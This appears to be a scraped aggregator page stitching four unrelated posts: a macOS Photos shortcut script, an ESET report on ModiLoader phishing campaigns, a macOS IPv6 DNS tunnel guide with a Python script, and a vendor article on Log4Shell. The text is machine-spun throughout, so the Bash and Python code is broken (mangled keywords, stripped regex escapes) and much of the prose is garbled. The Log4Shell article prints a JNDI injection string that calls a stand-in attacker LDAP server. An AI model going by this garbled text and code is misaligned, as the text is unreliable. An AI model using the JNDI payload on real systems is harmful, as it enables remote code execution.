codesanitize

Keyboard shortcuts for Export Unmodified Authentic in Images for Mac – Ole Begemann

iOS Development

codesanitize

-

20 August 2024

0

Keyboard shortcuts for Export Unmodified Authentic in Images for Mac – Ole Begemann

Drawback

The Images app on macOS doesn’t present a keyboard shortcut for the Export Unmodified Authentic command.
macOS means that you can add your individual app-specific keyboard shortcuts by way of System Settings > Keyboard > Keyboard Shortcuts > App Shortcuts. It is advisable enter the precise spelling of the menu merchandise you need to invoke.
Images renames the command relying on what’s chosen: Export Unmodified Authentic For 1 Photograph“ turns into ”… Authentics For two Videos” turns into “… For 3 Objects” (for blended choices), and so forth. Argh!
The System Settings UI for assigning keyboard shortcuts is extraordinarily tedious to make use of if you wish to add a couple of or two shortcuts.

Resolution: shell script

Right here’s a Bash script^{that assigns Ctrl + Decide + Cmd + E to Export Unmodified Originals for as much as 20 chosen gadgets:}

#!/bin/bash

# Assigns a keyboard shortcut to the Export Unmodified Originals
# menu command in Images.app on macOS.

# @ = Command
# ^ = Management
# ~ = Choice
# $ = Shift
shortcut='@~^e'

# Set shortcut for 1 chosen merchandise
echo "Setting shortcut for 1 merchandise"
defaults write com.apple.Images NSUserKeyEquivalents -dict-add "Export Unmodified Authentic For 1 Photograph" "$shortcut"
defaults write com.apple.Images NSUserKeyEquivalents -dict-add "Export Unmodified Authentic For 1 Video" "$shortcut"

# Set shortcut for 2-20 chosen gadgets
objects=(Images Movies Objects)
for i in {2..20}
do
  echo "Setting shortcut for $i gadgets"
  for object in "${objects[@]}"
  do
    defaults write com.apple.Images NSUserKeyEquivalents -dict-add "Export Unmodified Originals For $i $object" "$shortcut"
  completed
completed

# Use this command to confirm the consequence:
# defaults learn com.apple.Images NSUserKeyEquivalents

The script is additionally accessible on GitHub.

Utilization:

Stop Images.app.
Run the script. Be at liberty to alter the important thing combo or rely increased than 20.
Open Images.app.

Screenshot of the Keyboard Shortcuts window in System Settings in macOS 13.2, listing a bunch of custom keyboard shortcuts for Photos.app.

Be aware: There’s a bug in Images.app on macOS 13.2 (and not less than some earlier variations). Customized keyboard shortcuts don’t work till you’ve opened the menu of the respective command not less than as soon as. So you could manually open the File > Export as soon as earlier than the shortcut will work. (For Apple of us: FB11967573.)

Phishing focusing on Polish SMBs continues by way of ModiLoader

Hacking

codesanitize

-

20 August 2024

0

Phishing focusing on Polish SMBs continues by way of ModiLoader

ESET Analysis

ESET researchers detected a number of, widespread phishing campaigns focusing on SMBs in Poland throughout Could 2024, distributing varied malware households

30 Jul 2024
•
,
8 min. learn

Phishing targeting Polish SMBs continues via ModiLoader

Only a few months again, ESET Analysis printed a blogpost about large phishing campaigns throughout Central and Jap Europe carried out through the second half of 2023. In these campaigns Rescoms malware (often known as Remcos), protected by AceCryptor, was delivered to potential victims with the targets of credential theft and potential acquire of preliminary entry to firm networks.

Phishing campaigns focusing on the area didn’t cease in 2024. On this blogpost we current what latest phishing campaigns appeared like and the way the selection of supply mechanism shifted away from AceCryptor to ModiLoader.

Key factors of this blogpost:

ESET detected 9 notable ModiLoader phishing campaigns throughout Could 2024 in Poland, Romania, and Italy.

These campaigns focused small and medium-sized companies.

Seven of the campaigns focused Poland, the place ESET merchandise protected over 21,000 customers.

Attackers deployed three malware households by way of ModiLoader: Rescoms, Agent Tesla, and Formbook.

Attackers used beforehand compromised e-mail accounts and firm servers, not solely to unfold malicious emails but in addition to host malware and accumulate stolen knowledge.

Overview

Regardless that the phishing campaigns have been ongoing all through the primary half of 2024, this blogpost focuses simply on Could 2024, as this was an eventful month. Throughout this era, ESET merchandise protected over 26,000 customers, over 21,000 (80%) of whom had been in Poland. Along with Poland, the place over 80% of potential victims had been situated, Italy and Romania had been additionally focused by the phishing campaigns. In complete we registered 9 phishing campaigns, seven of which focused Poland all through Could, as could be seen in Determine 1.

figure1_ModiLoader hits by date chart — *Determine 1. Hits of ModiLoader phishing campaigns in Poland throughout Could 2024*

Compared with the campaigns that passed off through the finish of 2023, we see a shift away from utilizing AceCryptor as a device of selection to guard and efficiently ship the malware. As an alternative, in all 9 campaigns, attackers used ModiLoader (aka DBatLoader) as the popular supply device of selection. The ultimate payload to be delivered and launched on the compromised machines diverse; we’ve detected campaigns delivering:

Formbook – info stealing malware found in 2016,
Agent Tesla – a distant entry trojan and knowledge stealer, and
Rescoms RAT – distant management and surveillance software program, in a position to steal delicate info.

Campaigns

On the whole, all campaigns adopted an identical situation. The focused firm obtained an e-mail message with a enterprise supply that might be so simple as “Please present your greatest value supply for the hooked up order no. 2405073”, as could be seen in Determine 2.

Figure 2. Example of a phishing email containing ModiLoader in the attachment — *Determine 2. Instance of a phishing e-mail containing ModiLoader within the attachment*

In different campaigns, e-mail messages had been extra verbose, such because the phishing e-mail in Determine 3, which could be translated as follows:

Hello,

We want to buy your product for our consumer.

Please discover the hooked up inquiry for step one of this buy.

The hooked up sheet comprises goal costs for many merchandise. I highlighted 10 components to concentrate on pricing – the remainder of the gadgets are elective to cost (we are going to apply related value degree primarily based on different costs).

Please get again to me earlier than 28/05/2024

In the event you want extra time, please let me know the way a lot you will want.

When you’ve got any questions, please additionally let me know.

Figure 3. A more verbose phishing email example containing ModiLoader in the attachment — *Determine 3. A extra verbose phishing e-mail instance containing ModiLoader within the attachment*

As within the phishing campaigns of H2 2023, attackers impersonated current firms and their staff because the strategy of selection to extend marketing campaign success fee. On this approach, even when the potential sufferer appeared for the same old pink flags (apart from potential translation errors), they had been simply not there, and the e-mail appeared as reputable because it may have.

Contained in the attachments

Emails from all campaigns contained a malicious attachment that the potential sufferer was incentivized to open, primarily based on the textual content of the e-mail. These attachments had names like RFQ8219000045320004.tar (as in Request for Citation) or ZAMÓWIENIE_NR.2405073.IMG (translation: ORDER_NO) and the file itself was both an ISO file or archive.

In campaigns the place an ISO file was despatched as an attachment, the content material was the ModiLoader executable (named equally or the identical because the ISO file itself) that might be launched if a sufferer tried to open the executable.

Within the different case, when a RAR archive was despatched as an attachment, the content material was a closely obfuscated batch script, with the identical title because the archive and with the .cmd file extension. This file additionally contained a base64-encoded ModiLoader executable, disguised as a PEM-encoded certificates revocation record. The script is accountable for decoding and launching the embedded ModiLoader (Determine 4).

Figure 4. File with .cmd extension containing heavily obfuscated batch script (top) that decodes base64-encoded ModiLoader binary (bottom) — *Determine 4. File with* .cmd extension containing closely obfuscated batch script (prime) that decodes base64-encoded ModiLoader binary (backside)

When ModiLoader is launched

ModiLoader is a Delphi downloader with a easy process – to obtain and launch malware. In two of the campaigns, ModiLoader samples had been configured to obtain the next-stage malware from a compromised server belonging to a Hungarian firm. In the remainder of the campaigns ModiLoader downloaded the following stage from Microsoft’s OneDrive cloud storage. We noticed 4 accounts the place second-stage malware was hosted. The entire chain of compromise from receiving the malicious e-mail till launching the ultimate payload is summarized in Determine 5.

Figure 5. Chain of compromise of ModiLoader phishing campaigns in Poland during May 2024 — *Determine 5. Chain of compromise of ModiLoader phishing campaigns in Poland throughout Could 2024*

Knowledge exfiltration

Three completely different malware households had been used as a closing payload: Agent Tesla, Rescoms, and Formbook. All these households are able to info stealing and thus enable attackers not solely to increase their datasets of stolen info, but in addition to organize the bottom for his or her subsequent campaigns. Regardless that the exfiltration mechanisms differ between malware households and campaigns, it’s price mentioning two examples of those mechanisms.

In a single marketing campaign, info was exfiltrated by way of SMTP to an handle utilizing a site just like that of a German firm. Notice that typosquatting was a preferred approach used within the Rescoms campaigns from the tip of final yr. These older campaigns used typosquatted domains for sending phishing emails. One of many new campaigns used a typosquatted area for exfiltrating knowledge. When somebody tried to go to net pages of this typosquatted area, they’d be instantly redirected to the online web page of the reputable (impersonated) firm.

In one other marketing campaign, we noticed knowledge being exfiltrated to an internet server of a visitor home situated in Romania (a rustic focused now and up to now by such campaigns). On this case, the online server appears reputable (so no typosquatting) and we imagine that the lodging’s server had been compromised throughout earlier campaigns and abused for malicious actions.

Conclusion

Phishing campaigns focusing on small and medium-sized companies in Central and Jap Europe are nonetheless going sturdy within the first half of 2024. Moreover, attackers make the most of beforehand profitable assaults and actively use compromised accounts or machines to additional unfold malware or accumulate stolen info. In Could alone, ESET detected 9 ModiLoader phishing campaigns, and much more outdoors this timeframe. Not like the second half of 2023, when Rescoms packed by AceCryptor was the popular malware of selection of the attackers, they didn’t hesitate to vary the malware they use to be extra profitable. As we introduced, there are a number of different malware households like ModiLoader or Agent Tesla within the arsenal of those attackers, prepared for use.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com.

ESET Analysis provides personal APT intelligence studies and knowledge feeds. For any inquiries about this service, go to the ESET Menace Intelligence web page.

IoCs

A complete record of indicators of compromise (IoCs) could be present in our GitHub repository.

Recordsdata

SHA-1	Filename	Detection	Description
E7065EF6D0CF45443DEF 30D3A3A35FD7300C4A56	doc023561361500.img	Win32/TrojanDownloader. ModiLoader.ACM	Malicious attachment from phishing marketing campaign carried out in Poland throughout Could 2024.
31672B52259B4D514E68 DA5D199225FCFA72352B	doc023561361500__ 079422732__202410502__ 000023.pdf.exe	Win32/TrojanDownloader. ModiLoader.ACM	ModiLoader executable from phishing marketing campaign carried out in Poland throughout Could 2024.
B71070F9ADB17C942CB6 92566E6020ACCA93726A	N/A	MSIL/Spy.Agent.CVT	Agent Tesla executable from phishing marketing campaign carried out in Poland throughout Could 2024.
D7561594C7478C4FE37C 26684005268EB582E13B	ZAMÓWIENIE_NR.2405073. IMG	Win32/TrojanDownloader. ModiLoader.ACR	Malicious attachment from phishing marketing campaign carried out in Poland throughout Could 2024.
47AF4CFC9B250AC4AE8C DD0A2D2304D7CF60AACE	ZAMÓWIENIE_NR.2405073. exe	Win32/TrojanDownloader. ModiLoader.ACR	ModiLoader executable from phishing marketing campaign carried out in Poland throughout Could 2024.
2963AF32AB4D497CB41F C85E54A9E5312D28BCDE	N/A	Win32/Formbook.AA	Formbook executable from phishing marketing campaign carried out in Poland throughout Could 2024.
5DAB001A2025AA91D278 163F39E7504004354F01	RFQ8219000045320004. tar	Win32/TrojanDownloader. ModiLoader.ACP.Gen	Malicious attachment from phishing marketing campaign carried out in Poland throughout Could 2024.
D88B10E4FD487BFCCA6A 711A9E33BB153674C757	RFQ8219000045320004. cmd	Win32/TrojanDownloader. ModiLoader.ACP.Gen	Malicious batch script from phishing marketing campaign carried out in Poland throughout Could 2024.
F0295F2E46CEBFFAF789 2A5B33BA54122781C20B	N/A	Win32/TrojanDownloader. ModiLoader.ADB	ModiLoader executable from phishing marketing campaign carried out in Poland throughout Could 2024.
3C0A0EC8FE9EB3E5DAB2 018E94CEB4E29FD8DD33	N/A	Win32/Rescoms.B	Rescoms executable from phishing marketing campaign carried out in Poland throughout Could 2024.
9B5AF677E565FFD4B15D EE283D46C2E60E1E31D8	DOCUMENT_BT24PDF.IMG	Win32/TrojanDownloader. ModiLoader.ADB	Malicious attachment from phishing marketing campaign carried out in Romania throughout Could 2024.
738CFBE52CFF57098818 857930A7C1CF01DB0519	DOCUMENT_BT24PDF.exe	Win32/TrojanDownloader. ModiLoader.ADB	ModiLoader executable from phishing marketing campaign carried out in Romania throughout Could 2024.
843CE8848BCEEEF16D07 041A97417882DBACB93F	N/A	Win32/Formbook.AA	Formbook executable from phishing marketing campaign carried out in Romania throughout Could 2024.

MITRE ATT&CK strategies

This desk was constructed utilizing model 15 of the MITRE ATT&CK framework.

Tactic	ID	Identify	Description
Reconnaissance	T1589.002	Collect Sufferer Id Info: E-mail Addresses	E-mail addresses and speak to info (both purchased or gathered from publicly out there sources) had been utilized in phishing campaigns to focus on firms throughout a number of nations.
Useful resource Growth	T1586.002	Compromise Accounts: E-mail Accounts	Attackers used compromised e-mail accounts to ship malicious emails in phishing campaigns to extend their phishing e-mail’s credibility.
	T1588.001	Get hold of Capabilities: Malware	Attackers purchased licenses and used a number of malware households for phishing campaigns.
	T1583.006	Purchase Infrastructure: Net Providers	Attackers used Microsoft OneDrive to host malware.
	T1584.004	Compromise Infrastructure: Server	Attackers used beforehand compromised servers to host malware and retailer stolen info.
Preliminary Entry	T1566	Phishing	Attackers used phishing messages with malicious attachments to compromise computer systems and steal info from firms in a number of European nations.
Preliminary Entry	T1566.001	Phishing: Spearphishing Attachment	Attackers used spearphishing messages to compromise computer systems and steal info from firms in a number of European nations.
Execution	T1204.002	Consumer Execution: Malicious File	Attackers relied on customers opening archives containing malware and launching a ModiLoader executable.
Credential Entry	T1555.003	Credentials from Password Shops: Credentials from Net Browsers	Attackers tried to steal credential info from browsers and e-mail shoppers.

macos – Methods to add AAAA flag (IPv6) to DNS resolver configuration on Sierra?

Apple

codesanitize

-

20 August 2024

0

This was a large trouble to determine, so I wrote up just a little information in hopes that others would discover it useful:

The Drawback

macOS’s area identify resolver will solely return IPv6 addresses (from AAAA data) when it thinks that you’ve a legitimate routable IPv6 tackle. For bodily interfaces like Ethernet or Wi-Fi it is sufficient to set or be assigned an IPv6 tackle, however for tunnels (equivalent to these utilizing utun interfaces) there are some additional annoying steps that have to be taken to persuade the system that sure, you certainly have an IPv6 tackle, and sure, you’d wish to get IPv6 addresses again for DNS lookups.

I take advantage of wg-quick to determine a WireGuard tunnel between my laptop computer and a Linode digital server. WireGuard makes use of a utun user-space tunnel machine to make the connection. This is how that machine will get configured:

utun1: flags=8051 mtu 1420
    inet 10.75.131.2 --> 10.75.131.2 netmask 0xffffff00
    inet6 fe80::a65e:60ff:fee1:b1bfpercentutun1 prefixlen 64 scopeid 0xc
    inet6 2600:3c03::de:d002 prefixlen 116
    nd6 choices=201

And here is a number of related traces from my routing desk:

Web:
Vacation spot        Gateway            Flags        Refs      Use   Netif Expire
0/1                utun1              USc             0        0   utun1
default            10.20.4.4          UGSc            0        0     en3
10.20.4/24         hyperlink#14            UCS             3        0     en3      !
10.75.131.2        10.75.131.2        UH              0        0   utun1
50.116.51.30       10.20.4.4          UGHS            7  2629464     en3
128.0/1            utun1              USc             5        0   utun1

Internet6:
Vacation spot                             Gateway                         Flags         Netif Expire
::/1                                    utun1                           USc           utun1
2600:3c03::de:d000/116                  fe80::a65e:60ff:fee1:b1bfpercentutun1 Uc            utun1
8000::/1                                utun1                           USc           utun1

10.20.4/24 is my native ethernet community.
10.20.4.5 is my laptop computer’s LAN IP tackle.
10.20.4.4 is my gateway’s LAN IP tackle.
10.75.131.2 is the IPv4 tackle of my finish of the WireGuard point-to-point tunnel.
2600:3c03::de:d002 is the IPv6 tackle of my finish of the WireGuard point-to-point tunnel.
50.116.51.30 is the general public tackle of my Linode server.

This must be sufficient to have IPv6 connectivity, proper? Effectively, identify decision works when host talks on to my identify server:

sam@shiny ~> host ipv6.whatismyv6.com
ipv6.whatismyv6.com has IPv6 tackle 2607:f0d0:3802:84::128

Pinging by IPv6 tackle works:

sam@shiny ~> ping6 -c1 2607:f0d0:3802:84::128
PING6(56=40+8+8 bytes) 2600:3c03::de:d002 --> 2607:f0d0:3802:84::128
16 bytes from 2607:f0d0:3802:84::128, icmp_seq=0 hlim=55 time=80.991 ms

--- 2607:f0d0:3802:84::128 ping6 statistics ---
1 packets transmitted, 1 packets acquired, 0.0% packet loss
round-trip min/avg/max/std-dev = 80.991/80.991/80.991/0.000 ms

And HTTP connections by IPv6 tackle work:

sam@shiny ~> curl -s 'http://[2607:f0d0:3802:84::128]' -H 'Host: ipv6.whatismyv6.com' | html2text | head -3
                 This web page reveals your IPv6 and/or IPv4 tackle
                          You're connecting with an IPv6 Handle of:
                                             2600:3c03::de:d002

Nevertheless, HTTP connections by IPv6-only hostname do not work:

sam@shiny ~> curl 'http://ipv6.whatismyv6.com'
curl: (6) Couldn't resolve host: ipv6.whatismyv6.com

The end result is similar in wget in addition to in GUI apps like Firefox: connecting by a literal IPv6 tackle works positive, however connecting by a hostname that solely has an AAAA file (and no A file) related to it doesn’t.

Curiously, ping6 is in a position to do a DNS lookup and get an IPv6 tackle again:

sam@shiny ~ [6]> ping6 -c1 ipv6.whatismyv6.com
PING6(56=40+8+8 bytes) 2600:3c03::de:d002 --> 2607:f0d0:3802:84::128
16 bytes from 2607:f0d0:3802:84::128, icmp_seq=0 hlim=55 time=49.513 ms

--- ipv6.whatismyv6.com ping6 statistics ---
1 packets transmitted, 1 packets acquired, 0.0% packet loss
round-trip min/avg/max/std-dev = 49.513/49.513/49.513/0.000 ms

Why can ping6 do that when nothing else can? It seems that when ping6 calls getaddrinfo it overwrites the default flags. One of many default flags is AI_ADDRCONFIG, which tells the resolver to solely return addresses in tackle households that the system has an IP tackle for. (That’s, do not return IPv6 addresses except the system has a (not link-local) IPv6 tackle.) Most different applications add to the default flags reasonably than clobbering them, which I suppose is wise.

In the event you run scutil --dns it can let you know how the resolver is about up. This is the output on my system (minus a bunch of mdns stuff that does not matter):

DNS configuration

resolver #1
  search area[0] : dwelling.munkynet.org
  nameserver[0] : 10.20.4.4
  if_index : 14 (en3)
  flags    : Request A data
  attain    : 0x00020002 (Reachable,Immediately Reachable Handle)

DNS configuration (for scoped queries)

resolver #1
  search area[0] : dwelling.munkynet.org
  nameserver[0] : 10.20.4.4
  if_index : 14 (en3)
  flags    : Scoped, Request A data
  attain    : 0x00020002 (Reachable,Immediately Reachable Handle)

Notice that underneath flags, it says Request A data however not Request AAAA data. So it is left to us to attempt to persuade macOS’s resolver that we do the truth is have a legitimate IPv6 tackle, despite the fact that it is on a tunnel interface.

SystemConfiguration

The “proper” manner for this to occur is for no matter program units up the tunnel to make use of the weird and largely undocumented SystemConfiguration API to register the community “service” and its IPv6 properties. The Viscosity app does this. Tunnelblick doesn’t, the official OpenVPN Consumer doesn’t, and wg-quick certain as hell would not.

The `scutil` Kludge

We will create the identical SystemConfiguration “service” strucures manually utilizing the scutil command:

First we create the IPv4 a part of the service:

sam@shiny ~> sudo scutil
> d.init
> d.add Addresses * 10.75.131.2
> d.add DestAddresses * 10.75.131.2
> d.add InterfaceName utun1
> set State:/Community/Service/my_ipv6_tunnel_service/IPv4
> set Setup:/Community/Service/my_ipv6_tunnel_service/IPv4

After which we create the IPv6 half:

> d.init
> d.add Addresses * fe80::a65e:60ff:fee1:b1bf 2600:3c03::de:d002
> d.add DestAddresses * ::ffff:ffff:ffff:ffff:0:0 ::
> d.add Flags * 0 0
> d.add InterfaceName utun1
> d.add PrefixLength * 64 116
> set State:/Community/Service/my_ipv6_tunnel_service/IPv6
> set Setup:/Community/Service/my_ipv6_tunnel_service/IPv6
> give up

As soon as that is carried out, the output of scutil --dns (once more modulo mdns stuff) adjustments:

DNS configuration

resolver #1
  search area[0] : dwelling.munkynet.org
  nameserver[0] : 10.20.4.4
  if_index : 14 (en3)
  flags    : Request A data, Request AAAA data
  attain    : 0x00020002 (Reachable,Immediately Reachable Handle)

DNS configuration (for scoped queries)

resolver #1
  search area[0] : dwelling.munkynet.org
  nameserver[0] : 10.20.4.4
  if_index : 14 (en3)
  flags    : Scoped, Request A data
  attain    : 0x00020002 (Reachable,Immediately Reachable Handle)

Now we see Request AAAA data within the flags! I am not likely certain what “scoped queries” are or why the DNS configuration for them did not change, however issues appear to work now so no matter:

sam@shiny ~> curl -s 'http://ipv6.whatismyv6.com' | html2text | head -3
                 This web page reveals your IPv6 and/or IPv4 tackle
                          You're connecting with an IPv6 Handle of:
                                             2600:3c03::de:d002

When disconnecting from the tunnel, all you need to do is take away the SystemConfiguration keys you added:

sam@shiny ~> sudo scutil
> take away State:/Community/Service/my_ipv6_tunnel_service/IPv4
> take away Setup:/Community/Service/my_ipv6_tunnel_service/IPv4
> take away State:/Community/Service/my_ipv6_tunnel_service/IPv6
> take away Setup:/Community/Service/my_ipv6_tunnel_service/IPv6
> give up

A pair issues to notice:

The identify my_ipv6_tunnel_service is completely arbitrary.
Based on info I gleaned from the up/down scripts within the Mullvad .ovpn profile, you need to create each the Setup: and State: keys. I did not confirm this as a result of I’m lazy.
I’ve no clue the place the IPv6 DestAddresses come from. I copied these from Viscosity as a result of they appeared to work there. ::ffff:ffff:ffff:ffff:0:0 for the link-local tackle and :: for the general public
I do not even actually know what DestAddresses means or what it is used for.

A pleasant script

I wrote a python script that gleans addresses and prefix lengths from ifconfig output. It requires Python 3.6 or later so be sure to’ve bought that in your path. It is known as wg-updown and calls its SystemConfiguration service wg-updown-utun#, nevertheless it’s not likely WireGuard-specific. You may name it as a post-up/pre-down script for any previous VPN tunnel or run it manually. Name it like this:

# After tunnel comes up
wg-updown up IFACE

# Earlier than tunnel goes down
wg-updown down IFACE

change IFACE with the identify of the interface that your tunnel/VPN shopper is utilizing, e.g. utun1. It would print the instructions that it is sending to scutil so you’ll be able to see what it is doing intimately.

#!/usr/bin/env python3

import re
import subprocess
import sys

def service_name_for_interface(interface):
    return 'wg-updown-' + interface

v4pat = re.compile(r'^s*inets+(S+)s+-->s+(S+)s+netmasks+S+')
v6pat = re.compile(r'^s*inet6s+(S+?)(?:%S+)?s+prefixlens+(S+)')
def get_tunnel_info(interface):
    ipv4s = dict(Addresses=[], DestAddresses=[])
    ipv6s = dict(Addresses=[], DestAddresses=[], Flags=[], PrefixLength=[])
    ifconfig = subprocess.run(["ifconfig", interface], capture_output=True,
                              verify=True, textual content=True)
    for line in ifconfig.stdout.splitlines():
        v6match = v6pat.match(line)
        if v6match:
            ipv6s['Addresses'].append(v6match[1])
            # That is cribbed from Viscosity and possibly fallacious.
            if v6match[1].startswith('fe80'):
                ipv6s['DestAddresses'].append('::ffff:ffff:ffff:ffff:0:0')
            else:
                ipv6s['DestAddresses'].append('::')
            ipv6s['Flags'].append('0')
            ipv6s['PrefixLength'].append(v6match[2])
            proceed
        v4match = v4pat.match(line)
        if v4match:
            ipv4s['Addresses'].append(v4match[1])
            ipv4s['DestAddresses'].append(v4match[2])
            proceed
    return (ipv4s, ipv6s)

def run_scutil(instructions):
    print(instructions)
    subprocess.run(['scutil'], enter=instructions, verify=True, textual content=True)

def up(interface):
    service_name = service_name_for_interface(interface)
    (ipv4s, ipv6s) = get_tunnel_info(interface)
    run_scutil('n'.be part of([
        f"d.init",
        f"d.add Addresses * {' '.join(ipv4s['Addresses'])}",
        f"d.add DestAddresses * {' '.be part of(ipv4s['DestAddresses'])}",
        f"d.add InterfaceName {interface}",
        f"set State:/Community/Service/{service_name}/IPv4",
        f"set Setup:/Community/Service/{service_name}/IPv4",
        f"d.init",
        f"d.add Addresses * {' '.be part of(ipv6s['Addresses'])}",
        f"d.add DestAddresses * {' '.be part of(ipv6s['DestAddresses'])}",
        f"d.add Flags * {' '.be part of(ipv6s['Flags'])}",
        f"d.add InterfaceName {interface}",
        f"d.add PrefixLength * {' '.be part of(ipv6s['PrefixLength'])}",
        f"set State:/Community/Service/{service_name}/IPv6",
        f"set Setup:/Community/Service/{service_name}/IPv6",
    ]))

def down(interface):
    service_name = service_name_for_interface(interface)
    run_scutil('n'.be part of([
        f"remove State:/Network/Service/{service_name}/IPv4",
        f"remove Setup:/Network/Service/{service_name}/IPv4",
        f"remove State:/Network/Service/{service_name}/IPv6",
        f"remove Setup:/Network/Service/{service_name}/IPv6",
    ]))

def important():
    operation = sys.argv[1]
    interface = sys.argv[2]
    if operation == 'up':
        up(interface)
    elif operation == 'down':
        down(interface)
    else:
        increase NotImplementedError()

if __name__ == "__main__":
    important()

Anatomy of an Assault

Cyber Security

codesanitize

-

20 August 2024

0

In at this time’s quickly evolving cyber menace panorama, organizations face more and more subtle assaults concentrating on their functions. Understanding these threats and the applied sciences designed to fight them is essential. This text delves into the mechanics of a standard utility assault, utilizing the notorious Log4Shell vulnerability for instance, and demonstrates how Utility Detection and Response (ADR) expertise successfully safeguards in opposition to such zero-day threats.

View the Distinction ADR white paper

The anatomy of a contemporary utility assault: Log4Shell

For instance the complexity and severity of recent utility assaults, let’s look at an assault in opposition to the notorious Log4Shell vulnerability (CVE-2021-44228) that despatched shockwaves by means of the cybersecurity world in late 2021. This assault is a main instance of assault chaining, leveraging JNDI Injection, Expression Language (EL) Injection and Command Injection.

Expertise word: The CVE program catalogs, which publicly disclose laptop safety flaws, are maintained by MITRE. Every CVE entry has a novel identifier, making it simpler for IT professionals to share details about vulnerabilities throughout completely different safety instruments and companies.

Step 1: Exploitation of the vulnerability

The Log4Shell vulnerability impacts Log4j, a ubiquitous Java logging framework. The assault begins when a malicious actor sends a specifically crafted request to a susceptible utility. This request comprises a Java Naming and Listing Interface (JNDI) lookup string in a format like this:

${jndi:ldap://attacker-controlled-server.com/payload}

Expertise word: JNDI (Java Naming and Listing Interface) is a Java API that gives naming and listing performance to Java functions. It permits Java functions to find and search for knowledge and objects through a reputation, which may be exploited in sure vulnerabilities like Log4Shell. On this context, it is being abused to provoke a connection to a malicious server.

Step 2: JNDI lookup and EL analysis

When the susceptible Log4j model processes this string, it interprets the JNDI expression half as an expression to be evaluated. This analysis causes the appliance to carry out a JNDI lookup, reaching out to the attacker-controlled Light-weight Listing Entry Protocol (LDAP) server specified within the string.

Expertise word: Log4j is a well-liked Java-based logging framework developed by Apache. It is extensively utilized in Java functions for logging numerous kinds of knowledge and occasions.

Step 3: Malicious payload retrieval

The attacker’s LDAP server responds with an EL injection payload. As a result of nature of JNDI and the way Log4j processes the response, this payload is handled as an EL expression to be evaluated.

Step 4: EL injection

The EL expression sometimes comprises malicious code designed to use the EL interpreter. This might embrace instructions to obtain and execute further malware, exfiltrate knowledge, or set up a backdoor within the system.

Expertise word: Expression Language (EL) is a scripting language that permits entry to utility knowledge. EL injection happens when an attacker can manipulate or inject malicious EL expressions, doubtlessly resulting in code execution. EL injection vulnerabilities are a recurring theme amongst zero-day vulnerabilities, both straight or not directly by means of chained assaults as on this instance.

Step 5: Code execution

Because the EL interpreter evaluates the injected expression, it executes the malicious code inside the context of the susceptible utility. This offers the attacker a foothold into the system, typically with the identical privileges as the appliance itself.

The facility and hazard of Log4Shell

What makes the Log4Shell vulnerability significantly extreme is the widespread use of the Log4j library and the way straightforward it was to use the vulnerability. It carries the next considerations:

Large assault floor: Log4j is utilized in many Java functions and frameworks, making such a vulnerability widespread.
Distant code execution: The related JNDI injection can lead on to distant code execution (RCE), giving attackers vital management over the susceptible system.
Tough to detect: Assaults in opposition to the Log4Shell vulnerability may be obfuscated, making them arduous to detect by means of easy sample matching of network-level protections.
Chained assaults: The JNDI injection assault may be chained with different methods, similar to EL injection and Command Injection, to create extra advanced assaults.

This anatomy of the Log4Shell assault demonstrates why utility layer assaults are so potent and why safety mechanisms like Utility Detection and Response (ADR) — defined under in depth — are essential for detecting and stopping such subtle assaults.

See the way to remove your utility blindspot with Distinction ADR (video)

From foothold to motion on aims

With preliminary entry established, attackers can leverage this place to make use of further ways to perform different aims, similar to:

Privilege escalation: The attacker could exploit native vulnerabilities to achieve increased privileges on the compromised system.
Reconnaissance: Utilizing their elevated entry, the attacker can scan the inner community for different susceptible programs or precious knowledge.
Credential harvesting: The compromised system could also be used to extract login credentials saved in reminiscence or configuration information.
Pivot to different programs: Utilizing harvested credentials or exploiting different vulnerabilities, the attacker can compromise further programs inside the community.
Knowledge exfiltration or ransomware deployment: Relying on their aims, attackers could steal delicate knowledge or deploy ransomware throughout the compromised community.

The restrictions of present safety approaches

Earlier than we dive into the small print of ADR, it is essential to grasp the way it addresses a big hole in lots of organizations’ safety methods: the dearth of sturdy application-level menace detection.

Internet utility firewalls (WAFs)

Many organizations depend on WAFs as their main protection in opposition to application-level threats. Nonetheless, this strategy has a number of important limitations:

Community-level focus: WAFs function on the community stage, analyzing incoming site visitors patterns to detect potential threats. Whereas this may be efficient in opposition to recognized assault signatures, it supplies restricted visibility into what’s taking place inside the utility itself.
False positives: As a result of their lack of application-specific context, WAFs typically generate a excessive variety of false positives. This could overwhelm safety groups and result in alert fatigue.
Vulnerability to bypass methods: WAF bypass methods are surprisingly straightforward to execute. Attackers can typically circumvent WAF protections utilizing strategies like encoding variations, protocol-level evasion or payload padding.
Ineffective SOC integration: Even when organizations have WAFs in place, they typically fail to configure them to feed detailed application-level info to their safety operations heart (SOC).

Expertise word: A WAF is a safety instrument that screens, filters and blocks HTTP site visitors to and from an online utility. It operates on the community stage and is meant to assist defend net functions from numerous assaults, similar to Cross-Website Scripting (XSS) and SQL injection.

Expertise word: WAF bypasses are methods attackers use to render WAF safety controls ineffective. These embrace strategies to sneak malicious payloads previous the WAF’s signature-based protections, or outright avoidance of the WAF entrypoint to the appliance. You will need to have a defense-in-depth technique in the case of AppSec and never depend on a single management to make sure safety of the appliance layer.

Endpoint Detection and Response (EDR)

EDR options deal with monitoring and defending particular person endpoints inside a company. Whereas essential for general safety, EDR has its personal set of limitations in the case of utility safety:

Give attention to endpoint actions: EDR primarily screens system-level occasions and processes, not application-specific behaviors.
Restricted visibility into utility internals: EDR options haven’t got perception into the inner workings of functions.
Reactive nature: EDR typically detects threats after they’ve already executed on an endpoint.
Gaps in cloud and net utility protection: As functions transfer to cloud-based companies, conventional EDR options could have gaps.

Expertise word: EDR is a cybersecurity expertise that constantly screens and responds to threats on endpoint gadgets similar to computer systems, laptops and cell gadgets. EDR options acquire and analyze knowledge from endpoints to allow safety operations groups to detect, examine and mitigate suspicious actions and potential safety breaches. They sometimes present real-time visibility, menace detection and automatic response capabilities, specializing in endpoint-level actions fairly than application-specific behaviors.

The ADR benefit

ADR expertise addresses these limitations by working inside the utility itself. This strategy gives a number of key benefits:

Deep utility visibility: ADR supplies perception into code execution and knowledge movement, providing a stage of visibility that network-level options merely can’t match.
Context-aware detection: By understanding the appliance’s habits, ADR can extra precisely distinguish between professional actions and real threats, considerably decreasing false positives.
Zero-day vulnerability safety: ADR’s deep utility perception permits it to detect and reply to novel assault patterns, offering higher safety in opposition to zero-day vulnerabilities.
Protection-in-depth for WAF bypass: ADR serves as an important second line of protection, able to detecting threats which have efficiently bypassed WAF protections.
Wealthy, actionable intelligence: ADR can present detailed, context-rich details about application-level threats on to SOC groups, closing the visibility hole and enabling simpler menace response.
